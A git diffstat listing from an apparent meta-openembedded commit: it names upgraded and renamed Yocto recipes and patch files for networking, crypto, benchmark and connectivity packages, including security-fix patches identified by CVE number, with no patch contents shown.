-rw-r--r--meta-openembedded/meta-networking/recipes-connectivity/cannelloni/cannelloni/0001-include-bits-stdc-.h-only-when-using-libstdc.patch37
-rw-r--r--meta-openembedded/meta-networking/recipes-connectivity/cannelloni/cannelloni_1.1.0.bb (renamed from meta-openembedded/meta-networking/recipes-connectivity/cannelloni/cannelloni_1.0.0.bb)6
-rw-r--r--meta-openembedded/meta-networking/recipes-connectivity/civetweb/civetweb_1.16.bb (renamed from meta-openembedded/meta-networking/recipes-connectivity/civetweb/civetweb_git.bb)7
-rw-r--r--meta-openembedded/meta-networking/recipes-connectivity/libdnet/libdnet/0001-configure-Replace-use-of-AC_EGREP_CPP.patch39
-rw-r--r--meta-openembedded/meta-networking/recipes-connectivity/libdnet/libdnet/0001-configure-Use-pkg-config-variable-to-find-check-incl.patch27
-rw-r--r--meta-openembedded/meta-networking/recipes-connectivity/libdnet/libdnet_1.17.0.bb (renamed from meta-openembedded/meta-networking/recipes-connectivity/libdnet/libdnet_1.16.3.bb)7
-rw-r--r--meta-openembedded/meta-networking/recipes-connectivity/mbedtls/mbedtls/0001-AES-NI-use-target-attributes-for-x86-32-bit-intrinsi.patch87
-rw-r--r--meta-openembedded/meta-networking/recipes-connectivity/mbedtls/mbedtls/0001-aesce-do-not-specify-an-arch-version-when-enabling-c.patch33
-rw-r--r--meta-openembedded/meta-networking/recipes-connectivity/mbedtls/mbedtls/0002-aesce-use-correct-target-attribute-when-building-wit.patch34
-rw-r--r--meta-openembedded/meta-networking/recipes-connectivity/mbedtls/mbedtls_3.5.0.bb (renamed from meta-openembedded/meta-networking/recipes-connectivity/mbedtls/mbedtls_3.4.1.bb)5
-rw-r--r--meta-openembedded/meta-networking/recipes-connectivity/mosquitto/mosquitto_2.0.18.bb2
-rw-r--r--meta-openembedded/meta-networking/recipes-connectivity/nanomsg/nng_12.bb (renamed from meta-openembedded/meta-networking/recipes-connectivity/nanomsg/nng_1.5.2.bb)0
-rw-r--r--meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager-fortisslvpn_1.4.0.bb1
-rw-r--r--meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager-openconnect_1.2.8.bb1
-rw-r--r--meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager-openvpn/0001-linker-scripts-Do-not-export-_IO_stdin_used.patch (renamed from meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager-openvpn/0001-linker-script-Do-not-export-_IO_stdin_used.patch)0
-rw-r--r--meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager-openvpn_1.10.2.bb3
-rw-r--r--meta-openembedded/meta-networking/recipes-connectivity/networkmanager/networkmanager_1.44.0.bb3
-rw-r--r--meta-openembedded/meta-networking/recipes-connectivity/openfortivpn/openfortivpn_1.21.0.bb (renamed from meta-openembedded/meta-networking/recipes-connectivity/openfortivpn/openfortivpn_1.20.5.bb)2
-rw-r--r--meta-openembedded/meta-networking/recipes-connectivity/samba/samba/cmocka-uintptr_t.patch51
-rw-r--r--meta-openembedded/meta-networking/recipes-connectivity/samba/samba_4.18.8.bb (renamed from meta-openembedded/meta-networking/recipes-connectivity/samba/samba_4.18.6.bb)9
-rw-r--r--meta-openembedded/meta-networking/recipes-connectivity/wolfssl/wolfssl_5.6.4.bb (renamed from meta-openembedded/meta-networking/recipes-connectivity/wolfssl/wolfssl_5.5.4.bb)2
-rw-r--r--meta-openembedded/meta-networking/recipes-core/packagegroups/packagegroup-meta-networking.bb17
-rw-r--r--meta-openembedded/meta-networking/recipes-devtools/libcoap/libcoap_4.3.4.bb (renamed from meta-openembedded/meta-networking/recipes-devtools/libcoap/libcoap_4.3.3.bb)2
-rw-r--r--meta-openembedded/meta-networking/recipes-devtools/python/python3-scapy_2.5.0.bb2
-rw-r--r--meta-openembedded/meta-networking/recipes-filter/conntrack-tools/conntrack-tools_1.4.8.bb (renamed from meta-openembedded/meta-networking/recipes-filter/conntrack-tools/conntrack-tools_1.4.7.bb)4
-rw-r--r--meta-openembedded/meta-networking/recipes-filter/ipset/ipset_7.19.bb (renamed from meta-openembedded/meta-networking/recipes-filter/ipset/ipset_7.15.bb)2
-rw-r--r--meta-openembedded/meta-networking/recipes-filter/nftables/nftables_1.0.9.bb (renamed from meta-openembedded/meta-networking/recipes-filter/nftables/nftables_1.0.8.bb)5
-rw-r--r--meta-openembedded/meta-networking/recipes-kernel/wireguard/wireguard-tools_1.0.20210914.bb12
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-ftp/netkit-ftp/0001-ftp-include-sys-types.h-for-u_long.patch32
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-ftp/netkit-ftp/Add_ARG_MAX_define.patch27
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-ftp/netkit-ftp_0.17.bb50
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rpc/netkit-rpc/0001-rpcgen-Fix-printf-formats.patch53
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rpc/netkit-rpc/gcc4.patch39
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rpc/netkit-rpc_0.17.bb51
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/CVE-2019-7282-and-CVE-2019-7283.patch35
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/fix-host-variable.patch27
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/fixup_wait3_api_change.patch34
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/netkit-rsh-0.17-rexec-ipv6.patch30
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/no_pam_build_fix.patch39
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rexec.pam10
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rexec.xinetd.netkit20
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rlogin.pam12
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rlogin.xinetd.netkit23
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rsh-redone_link_order_file.patch77
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rsh.pam10
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh/rsh.xinetd.netkit21
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rsh/netkit-rsh_0.17.bb105
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rusers/netkit-rusers/0001-Link-with-libtirpc.patch120
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rusers/netkit-rusers/rpc.rusersd-Makefile-fix-parallel-build-issue.patch30
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rusers/netkit-rusers_0.17.bb72
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rwho/netkit-rwho/0001-Add-missing-include-path-to-I-options.patch46
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rwho/netkit-rwho/0002-Fix-build-issues-found-with-musl.patch72
-rwxr-xr-xmeta-openembedded/meta-networking/recipes-netkit/netkit-rwho/netkit-rwho/rwhod71
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rwho/netkit-rwho/rwhod.default2
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-rwho/netkit-rwho_0.17.bb108
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/0001-Drop-using-register-keyword.patch457
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/0001-telnet-telnetd-Fix-deadlock-on-cleanup.patch116
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/0001-telnet-telnetd-Fix-print-format-strings.patch68
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/0001-telnetd-utility.c-Fix-buffer-overflow-in-netoprintf.patch56
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/0001-utility-Include-time.h-form-time-and-strftime-protot.patch27
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/CVE-2020-10188.patch112
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/CVE-2022-39028.patch53
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/To-aviod-buffer-overflow-in-telnet.patch1217
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/Warning-fix-in-the-step-of-install.patch41
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/cross-compile.patch48
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/telnet-xinetd14
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/netkit-telnet_0.17.bb74
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-tftp/netkit-tftp/0001-tftp-Include-missing-fcntl.h.patch27
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-tftp/netkit-tftp/tftp.conf11
-rw-r--r--meta-openembedded/meta-networking/recipes-netkit/netkit-tftp/netkit-tftp_0.17.bb59
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/frr/frr/CVE-2023-46752.patch125
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/frr/frr/CVE-2023-46753.patch117
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/frr/frr/CVE-2023-47234.patch95
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/frr/frr/CVE-2023-47235.patch112
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/frr/frr_9.0.1.bb6
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0001-Create-subroutine-for-cleaning-recent-interfaces.patch15
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0001-Handle-interface-without-ifa_addr.patch12
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0001-dns-sd-Include-missing-headers.patch11
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0002-Create-subroutine-for-tearing-down-an-interface.patch15
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0002-make-Set-libdns_sd.so-soname-correctly.patch13
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0003-Track-interface-socket-family.patch21
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0004-Indicate-loopback-interface-to-mDNS-core.patch19
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0004-make-Separate-TLS-targets-from-libraries.patch11
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0005-Use-list-for-changed-interfaces.patch27
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0005-mDNSCore-Fix-broken-debug-parameter.patch10
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0006-Handle-noisy-netlink-sockets.patch17
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0006-make-Add-top-level-Makefile.patch10
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0007-Mark-deleted-interfaces-as-being-changed.patch13
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0008-Handle-errors-from-socket-calls.patch19
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0009-remove-unneeded-headers.patch14
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/mdns/mdns/0015-Add-missing-limits.h.patch8
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/mdns/mdns_2200.40.37.0.1.bb (renamed from meta-openembedded/meta-networking/recipes-protocols/mdns/mdns_2200.0.8.bb)4
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/net-snmp/net-snmp_5.9.3.bb2
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/opcua/open62541_1.3.8.bb (renamed from meta-openembedded/meta-networking/recipes-protocols/opcua/open62541_1.3.6.bb)2
-rw-r--r--meta-openembedded/meta-networking/recipes-protocols/usrsctp/usrsctp_git.bb2
-rw-r--r--meta-openembedded/meta-networking/recipes-support/libexosip2/libexosip2_5.3.0.bb22
-rw-r--r--meta-openembedded/meta-networking/recipes-support/libldb/libldb/cmocka-fix-musl-libc-conflicting-types-error.patch45
-rw-r--r--meta-openembedded/meta-networking/recipes-support/libldb/libldb/run-ptest17
-rw-r--r--meta-openembedded/meta-networking/recipes-support/libldb/libldb_2.7.2.bb14
-rw-r--r--meta-openembedded/meta-networking/recipes-support/libosip2/libosip2_5.3.1.bb15
-rw-r--r--meta-openembedded/meta-networking/recipes-support/libtevent/libtevent/cmocka-fix-musl-libc-conflicting-types-error.patch45
-rw-r--r--meta-openembedded/meta-networking/recipes-support/libtevent/libtevent/run-ptest17
-rw-r--r--meta-openembedded/meta-networking/recipes-support/libtevent/libtevent_0.14.1.bb20
-rw-r--r--meta-openembedded/meta-networking/recipes-support/netsniff-ng/netsniff-ng_0.6.8.bb2
-rw-r--r--meta-openembedded/meta-networking/recipes-support/ntpsec/ntpsec_1.2.2a.bb2
-rw-r--r--meta-openembedded/meta-networking/recipes-support/openvpn/openvpn_2.6.7.bb (renamed from meta-openembedded/meta-networking/recipes-support/openvpn/openvpn_2.6.3.bb)4
-rw-r--r--meta-openembedded/meta-networking/recipes-support/rdma-core/rdma-core_48.0.bb (renamed from meta-openembedded/meta-networking/recipes-support/rdma-core/rdma-core_47.0.bb)2
-rw-r--r--meta-openembedded/meta-networking/recipes-support/spice/phodav_3.0.bb1
-rw-r--r--meta-openembedded/meta-networking/recipes-support/strongswan/strongswan_5.9.12.bb (renamed from meta-openembedded/meta-networking/recipes-support/strongswan/strongswan_5.9.11.bb)2
-rw-r--r--meta-openembedded/meta-networking/recipes-support/tnftp/tnftp_20230507.bb (renamed from meta-openembedded/meta-networking/recipes-support/tnftp/tnftp_20210827.bb)7
-rw-r--r--meta-openembedded/meta-networking/recipes-support/uftp/uftp_5.0.2.bb (renamed from meta-openembedded/meta-networking/recipes-support/uftp/uftp_5.0.1.bb)2
-rw-r--r--meta-openembedded/meta-networking/recipes-support/unbound/unbound_1.19.0.bb (renamed from meta-openembedded/meta-networking/recipes-support/unbound/unbound_1.18.0.bb)2
-rw-r--r--meta-openembedded/meta-networking/recipes-support/wireshark/wireshark_4.0.10.bb (renamed from meta-openembedded/meta-networking/recipes-support/wireshark/wireshark_4.0.8.bb)2
-rw-r--r--meta-openembedded/meta-oe/conf/include/ptest-packagelists-meta-oe.inc3
-rw-r--r--meta-openembedded/meta-oe/dynamic-layers/meta-python/recipes-connectivity/thingsboard-gateway/thingsboard-gateway_3.4.2.bb (renamed from meta-openembedded/meta-oe/dynamic-layers/meta-python/recipes-connectivity/thingsboard-gateway/thingsboard-gateway_3.3.bb)2
-rw-r--r--meta-openembedded/meta-oe/dynamic-layers/meta-python/recipes-multimedia/kmsxx/kmsxx_git.bb35
-rw-r--r--meta-openembedded/meta-oe/dynamic-layers/perl-layer/recipes-core/packagegroups/packagegroup-meta-oe.bbappend2
-rw-r--r--meta-openembedded/meta-oe/dynamic-layers/perl-layer/recipes-support/debsums/debsums_2.2.2.bb56
-rw-r--r--meta-openembedded/meta-oe/files/static-group-meta-oe4
-rw-r--r--meta-openembedded/meta-oe/files/static-passwd-meta-oe2
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0001-Fio-3.31.patch23
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0002-lib-rand-Enhance-__fill_random_buf-using-the-multi-r.patch136
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0003-lib-rand-get-rid-of-unused-MAX_SEED_BUCKETS.patch31
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0004-ioengines-merge-filecreate-filestat-filedelete-engin.patch800
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0005-engines-http-Add-storage-class-option-for-s3.patch87
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0006-engines-http-Add-s3-crypto-options-for-s3.patch246
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0007-doc-Add-usage-and-example-about-s3-storage-class-and.patch155
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0008-README-link-to-GitHub-releases-for-Windows.patch33
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0009-engines-xnvme-fix-segfault-issue-with-xnvme-ioengine.patch54
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0010-doc-update-fio-doc-for-xnvme-engine.patch168
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0011-test-add-latency-test-using-posixaio-ioengine.patch55
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0012-test-fix-hash-for-t0016.patch33
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0013-doc-get-rid-of-trailing-whitespace.patch82
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0014-doc-clarify-that-I-O-errors-may-go-unnoticed-without.patch54
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0015-Revert-Minor-style-fixups.patch41
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0016-Revert-Fix-multithread-issues-when-operating-on-a-si.patch141
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0017-Add-wait-for-handling-SIGBREAK.patch59
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0018-engines-io_uring-pass-back-correct-error-value-when-.patch58
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0019-Enable-CPU-affinity-support-on-Android.patch64
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0020-io_uring-Replace-pthread_self-with-s-tid.patch41
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0021-engines-io_uring-delete-debug-code.patch37
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0022-t-io_uring-prep-for-including-engines-nvme.h-in-t-io.patch72
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0023-t-io_uring-add-support-for-async-passthru.patch379
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0024-t-io_uring-fix-64-bit-cast-on-32-bit-archs.patch37
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0025-test-add-basic-test-for-io_uring-ioengine.patch91
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0026-t-io_uring-remove-duplicate-definition-of-gettid.patch59
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0027-test-add-some-tests-for-seq-and-rand-offsets.patch157
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0028-test-use-Ubuntu-22.04-for-64-bit-tests.patch72
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0029-test-get-32-bit-Ubuntu-22.04-build-working.patch79
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0030-test-add-tests-for-lfsr-and-norandommap.patch143
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0031-backend-revert-bad-memory-leak-fix.patch39
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio/0032-Fio-3.32.patch23
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio_2022.bb77
-rw-r--r--meta-openembedded/meta-oe/recipes-benchmark/fio/fio_3.32.bb44
-rw-r--r--meta-openembedded/meta-oe/recipes-bsp/bolt/bolt_0.9.6.bb (renamed from meta-openembedded/meta-oe/recipes-bsp/bolt/bolt_0.9.5.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-bsp/ledmon/ledmon/0001-Don-t-build-with-Werror-to-fix-compile-error.patch30
-rw-r--r--meta-openembedded/meta-oe/recipes-bsp/ledmon/ledmon/0001-fix-build-with-clang.patch90
-rw-r--r--meta-openembedded/meta-oe/recipes-bsp/ledmon/ledmon_0.97.bb (renamed from meta-openembedded/meta-oe/recipes-bsp/ledmon/ledmon_git.bb)27
-rw-r--r--meta-openembedded/meta-oe/recipes-bsp/lsscsi/lsscsi_030.bb (renamed from meta-openembedded/meta-oe/recipes-bsp/lsscsi/lsscsi_0.32.bb)4
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/gensio/gensio_2.7.7.bb (renamed from meta-openembedded/meta-oe/recipes-connectivity/gensio/gensio_2.7.6.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/irssi/irssi_1.4.5.bb (renamed from meta-openembedded/meta-oe/recipes-connectivity/irssi/irssi_1.4.4.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/libmbim/libmbim_1.31.1.bb (renamed from meta-openembedded/meta-oe/recipes-connectivity/libmbim/libmbim_1.28.4.bb)4
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/libmtp/libmtp_1.1.21.bb (renamed from meta-openembedded/meta-oe/recipes-connectivity/libmtp/libmtp_1.1.20.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/libqmi/libqmi_1.34.0.bb (renamed from meta-openembedded/meta-oe/recipes-connectivity/libqmi/libqmi_1.32.4.bb)4
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/libtorrent/libtorrent_git.bb7
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/libwebsockets/libwebsockets/0001-Fix-Werror-enum-int-mismatch-in-lws_tls_server_abort.patch32
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/libwebsockets/libwebsockets_4.3.3.bb (renamed from meta-openembedded/meta-oe/recipes-connectivity/libwebsockets/libwebsockets_4.3.2.bb)8
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/0001-include-string.h-for-strncpy.patch8
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/0001-makefile-use-conditional-assignment-for-KBUILD_OUTPU.patch42
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/0002-linuxptp-Use-CC-in-incdefs.sh.patch34
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/Use-cross-cpp-in-incdefs.patch26
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/build-Allow-CC-and-prefix-to-be-overriden.patch37
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/systemd/phc2sys@.service.in13
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp/systemd/ptp4l@.service.in11
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp_3.1.1.bb33
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/linuxptp/linuxptp_4.1.bb62
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/loudmouth/loudmouth-1.4.3/04-use-pkg-config-for-gnutls.patch25
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/loudmouth/loudmouth-1.4.3/glib-2.32.patch12
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/loudmouth/loudmouth_1.4.3.bb21
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/loudmouth/loudmouth_1.5.4.bb16
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/modemmanager/modemmanager_1.22.0.bb (renamed from meta-openembedded/meta-oe/recipes-connectivity/modemmanager/modemmanager_1.20.6.bb)7
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/paho-mqtt-c/paho-mqtt-c_1.3.13.bb (renamed from meta-openembedded/meta-oe/recipes-connectivity/paho-mqtt-c/paho-mqtt-c_1.3.12.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/pcapplusplus/pcapplusplus_23.09.bb21
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/ser2net/ser2net_4.5.1.bb (renamed from meta-openembedded/meta-oe/recipes-connectivity/ser2net/ser2net_4.3.13.bb)4
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/zeromq/czmq_4.2.1.bb2
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/zeromq/files/0001-src-secure_allocator.hpp-define-missing-rebind-type.patch64
-rw-r--r--meta-openembedded/meta-oe/recipes-connectivity/zeromq/zeromq_4.3.5.bb (renamed from meta-openembedded/meta-oe/recipes-connectivity/zeromq/zeromq_4.3.4.bb)8
-rw-r--r--meta-openembedded/meta-oe/recipes-core/emlog/emlog.inc2
-rw-r--r--meta-openembedded/meta-oe/recipes-core/emlog/emlog_git.bb2
-rw-r--r--meta-openembedded/meta-oe/recipes-core/glib-2.0/glibmm-2.68_2.78.0.bb (renamed from meta-openembedded/meta-oe/recipes-core/glib-2.0/glibmm-2.68_2.74.0.bb)3
-rw-r--r--meta-openembedded/meta-oe/recipes-core/glib-2.0/glibmm_2.66.2.bb1
-rw-r--r--meta-openembedded/meta-oe/recipes-core/libsigc++-2.0/libsigc++-2.0_2.12.1.bb (renamed from meta-openembedded/meta-oe/recipes-core/libsigc++-2.0/libsigc++-2.0_2.10.7.bb)4
-rw-r--r--meta-openembedded/meta-oe/recipes-core/libsigc++-2.0/libsigc++-3_3.6.0.bb (renamed from meta-openembedded/meta-oe/recipes-core/libsigc++-2.0/libsigc++-3_3.2.0.bb)4
-rw-r--r--meta-openembedded/meta-oe/recipes-core/libxml/libxml++-5.0_5.0.1.bb13
-rw-r--r--meta-openembedded/meta-oe/recipes-core/mm-common/mm-common_1.0.4.bb1
-rw-r--r--meta-openembedded/meta-oe/recipes-core/opencl/ocl-icd_2.3.2.bb (renamed from meta-openembedded/meta-oe/recipes-core/opencl/ocl-icd_2.3.1.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-core/opencl/opencl-headers_2023.04.17.bb (renamed from meta-openembedded/meta-oe/recipes-core/opencl/opencl-headers_04.17.bb)0
-rw-r--r--meta-openembedded/meta-oe/recipes-core/opencl/opencl-icd-loader_2023.04.17.bb (renamed from meta-openembedded/meta-oe/recipes-core/opencl/opencl-icd-loader_git.bb)10
-rw-r--r--meta-openembedded/meta-oe/recipes-core/packagegroups/packagegroup-meta-oe.bb5
-rwxr-xr-xmeta-openembedded/meta-oe/recipes-core/sdbus-c++/sdbus-c++-1.4.0/run-ptest (renamed from meta-openembedded/meta-oe/recipes-core/sdbus-c++/sdbus-c++-1.3.0/run-ptest)0
-rw-r--r--meta-openembedded/meta-oe/recipes-core/sdbus-c++/sdbus-c++_1.4.0.bb (renamed from meta-openembedded/meta-oe/recipes-core/sdbus-c++/sdbus-c++_1.3.0.bb)9
-rw-r--r--meta-openembedded/meta-oe/recipes-core/toybox/toybox/0001-portability-Fix-timer_settime_wrap-for-32bit-systems.patch37
-rw-r--r--meta-openembedded/meta-oe/recipes-core/toybox/toybox_0.8.10.bb (renamed from meta-openembedded/meta-oe/recipes-core/toybox/toybox_0.8.8.bb)6
-rw-r--r--meta-openembedded/meta-oe/recipes-core/uutils-coreutils/uutils-coreutils-crates.inc196
-rw-r--r--meta-openembedded/meta-oe/recipes-core/uutils-coreutils/uutils-coreutils_0.0.23.bb (renamed from meta-openembedded/meta-oe/recipes-core/uutils-coreutils/uutils-coreutils_0.0.21.bb)2
-rw-r--r--meta-openembedded/meta-oe/recipes-crypto/botan/botan_3.2.0.bb (renamed from meta-openembedded/meta-oe/recipes-crypto/botan/botan_2.19.3.bb)6
-rw-r--r--meta-openembedded/meta-oe/recipes-crypto/libsodium/libsodium/0001-fix-aarch64-Move-target-pragma-after-arm_neon.h-incl.patch49
-rw-r--r--meta-openembedded/meta-oe/recipes-crypto/libsodium/libsodium_1.0.18.bb13
-rw-r--r--meta-openembedded/meta-oe/recipes-crypto/libsodium/libsodium_1.0.19.bb14
-rw-r--r--meta-openembedded/meta-oe/recipes-dbs/influxdb/influxdb_1.8.10.bb4
-rw-r--r--meta-openembedded/meta-oe/recipes-dbs/leveldb/leveldb/0001-CMakeLists.txt-fix-googletest-related-options.patch55
-rw-r--r--meta-openembedded/meta-oe/recipes-dbs/leveldb/leveldb/0001-Fix-printing-64-bit-integer-types.patch43
-rw-r--r--meta-openembedded/meta-oe/recipes-dbs/leveldb/leveldb_1.23.bb (renamed from meta-openembedded/meta-oe/recipes-dbs/leveldb/leveldb_1.22.bb)10
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/abseil-cpp/abseil-cpp/0004-Avoid-using-both-Win32Waiter-and-PthreadWaiter-on-Mi.patch62
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/abseil-cpp/abseil-cpp_git.bb7
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/android-tools/android-tools_5.1.1.r37.bb2
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/capnproto/capnproto_1.0.1.bb (renamed from meta-openembedded/meta-oe/recipes-devtools/capnproto/capnproto_0.10.4.bb)4
-rw-r--r--meta-openembedded/meta-oe/recipes-devtools/cjson/cjson/run-ptest8
